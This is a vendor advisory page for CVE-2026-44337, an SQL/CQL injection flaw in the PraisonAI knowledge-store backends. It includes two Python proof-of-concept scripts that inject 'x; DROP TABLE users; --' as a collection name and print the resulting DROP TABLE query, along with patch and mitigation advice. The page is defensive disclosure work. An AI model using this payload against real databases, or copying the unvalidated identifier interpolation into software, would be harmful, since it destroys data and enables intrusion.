Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

CVE-2026-44337 praisonai

MEDIUM

CVE-2026-44337 is a medium-severity (CVSS 6.3) Improper Input Validation vulnerability in praisonai. A fix is available for praisonai — see the affected versions and patch details below.

PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries

Also known asGHSA-3643-7v76-5cj2PYSEC-2026-2897
Published
May 8, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44337.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs12th percentile — riskier than 12% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-44337 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍praisonai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated name and collection arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection.

Details

This issue affects the public persistence layer exported by persistence/init.py, which exposes KnowledgeStore and create_knowledge_store(). The factory wires the affected backends as supported knowledge-store providers in [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112):

The common root cause is that the KnowledgeStore interface accepts free-form collection names in create_collection(), delete_collection(), insert(), upsert(), search(), get(), delete(), and count() at [persistence/knowledge/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them.

Representative sinks:

  • SingleStoreVectorKnowledgeStore builds table_name = f"{self.table_prefix}{name}" and executes raw DDL in [persistence/knowledge/singlestore_vector.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92). The same pattern is reused for delete_collection, insert, upsert, search, get, delete, and count.
  • PGVectorKnowledgeStore builds public.praison_vec_{collection} and idx_{name}_embedding directly into SQL in [persistence/knowledge/pgvector.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82).
  • CassandraKnowledgeStore interpolates name and collection directly into CREATE TABLE, DROP TABLE, INSERT, SELECT, DELETE, and COUNT statements in [persistence/knowledge/cassandra.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73).

There is already an internal identifier validator in the conversation persistence layer:

  • validate_identifier() only allows alphanumeric characters and underscores in [persistence/conversation/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)

That validator is used for SQL identifiers such as table_prefix and schema in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends.

Version scope:

  • pgvector.py and cassandra.py were already present by v2.4.1
  • singlestore_vector.py was present by v2.4.3
  • the current PyPI release on May 1, 2026 is 4.6.33, and the same interpolation patterns are still present

Scope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends.

PoC

The following local reproductions show that attacker-controlled collection names become part of the executed SQL text.

  1. Reproduce the SingleStoreVectorKnowledgeStore.delete_collection() query construction:
python3 - <<'PY'
import importlib.util
import pathlib
import sys
import types

base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")

mods = {
    "praisonai": types.ModuleType("praisonai"),
    "praisonai.persistence": types.ModuleType("praisonai.persistence"),
    "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"),
}
for k, v in mods.items():
    v.__path__ = []
    sys.modules[k] = v

def load(name, path):
    spec = importlib.util.spec_from_file_location(name, path)
    mod = importlib.util.module_from_spec(spec)
    sys.modules[name] = mod
    spec.loader.exec_module(mod)
    return mod

load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")
ss = load("praisonai.persistence.knowledge.singlestore_vector", base / "knowledge" / "singlestore_vector.py")

class FakeCursor:
    def __init__(self, parent): self.parent = parent
    def execute(self, query, params=None): self.parent.calls.append((query, params))
    def __enter__(self): return self
    def __exit__(self, *args): return False

class FakeConn:
    def __init__(self): self.calls = []
    def cursor(self): return FakeCursor(self)

store = ss.SingleStoreVectorKnowledgeStore()
store._initialized = True
store._conn = FakeConn()
store.delete_collection("x; DROP TABLE users; --")
print(store._conn.calls[-1][0].strip())
PY

Observed result:

DROP TABLE IF EXISTS praisonai_x; DROP TABLE users; --
  1. Reproduce the PGVectorKnowledgeStore.create_collection() query construction:
python3 - <<'PY'
import importlib.util
import pathlib
import sys
import types

base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")

mods = {
    "praisonai": types.ModuleType("praisonai"),
    "praisonai.persistence": types.ModuleType("praisonai.persistence"),
    "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"),
}
for k, v in mods.items():
    v.__path__ = []
    sys.modules[k] = v

def load(name, path):
    spec = importlib.util.spec_from_file_location(name, path)
    mod = importlib.util.module_from_spec(spec)
    sys.modules[name] = mod
    spec.loader.exec_module(mod)
    return mod

load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")

psycopg2 = types.ModuleType("psycopg2")
extras = types.ModuleType("psycopg2.extras")
pool = types.ModuleType("psycopg2.pool")
class DummyPool:
    def __init__(self, *a, **k): pass
    def getconn(self): return None
    def putconn(self, c): pass
pool.ThreadedConnectionPool = DummyPool
extras.RealDictCursor = object
psycopg2.pool = pool
sys.modules["psycopg2"] = psycopg2
sys.modules["psycopg2.pool"] = pool
sys.modules["psycopg2.extras"] = extras

pg = load("praisonai.persistence.knowledge.pgvector", base / "knowledge" / "pgvector.py")

class FakeCursor:
    def __init__(self, parent): self.parent = parent
    def execute(self, query, params=None): self.parent.calls.append((query, params))
    def __enter__(self): return self
    def __exit__(self, *args): return False

class FakeConn:
    def __init__(self): self.calls = []
    def cursor(self): return FakeCursor(self)
    def commit(self): pass

store = pg.PGVectorKnowledgeStore(auto_create_extension=False)
conn = FakeConn()
store._get_conn = lambda: conn
store._put_conn = lambda c: None
store.create_collection("x; DROP TABLE users; --", 3)
for query, _ in conn.calls:
    print(query.strip())
PY

Observed result includes:

CREATE TABLE IF NOT EXISTS public.praison_vec_x; DROP TABLE users; -- (
CREATE INDEX IF NOT EXISTS idx_x; DROP TABLE users; --_embedding

The Cassandra backend follows the same pattern in its CREATE TABLE, DROP TABLE, INSERT, SELECT, and DELETE statements.

Impact

This issue affects applications that use PraisonAI's optional SQL/CQL knowledge-store backends and pass untrusted collection names into them.

Potential impact depends on backend and driver behavior, but includes:

  • malformed queries and backend errors
  • access to unintended tables or indexes
  • execution of attacker-influenced SQL or CQL text where the backend/driver accepts the resulting statement shape

I did not confirm direct exposure through PraisonAI's built-in HTTP server surfaces, so this is best understood as a vulnerability in the package's public persistence APIs rather than a turnkey remote exploit in the default application server.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonai2.4.1&&< 4.6.344.6.34pip install --upgrade 'praisonai==4.6.34'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update praisonai to 4.6.34 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44337 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44337 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-44337. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated `name` and `collection` arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection. ### Details This issue affects the public persistence layer exported by [persistence/__init__.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/__init__.py:1), which exposes `KnowledgeStore` and `create_knowledge_store()`. The factory wires the affected backends as
O3 Security · Impact-Aware SCA

Is CVE-2026-44337 in your dependencies?

O3 Security finds CVE-2026-44337 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-44337: praisonai (Medium 6.3) | O3 Security